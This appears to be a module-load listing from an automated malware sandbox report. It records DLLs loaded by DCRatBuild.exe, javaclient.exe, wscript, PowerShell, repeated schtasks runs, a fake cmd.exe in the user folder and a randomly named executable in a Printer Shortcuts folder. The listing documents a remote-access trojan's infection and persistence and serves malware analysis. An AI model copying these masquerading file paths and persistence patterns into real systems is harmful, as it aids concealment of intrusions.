Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\cmd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\cmd.exe	Section loaded: version.dll
Source: C:\Users\user\cmd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\cmd.exe	Section loaded: wldp.dll
Source: C:\Users\user\cmd.exe	Section loaded: profapi.dll
Source: C:\Users\user\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\cmd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\cmd.exe	Section loaded: version.dll
Source: C:\Users\user\cmd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\cmd.exe	Section loaded: wldp.dll
Source: C:\Users\user\cmd.exe	Section loaded: profapi.dll
Source: C:\Users\user\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: apphelp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: version.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: uxtheme.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: wldp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: profapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: version.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: uxtheme.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: wldp.dll
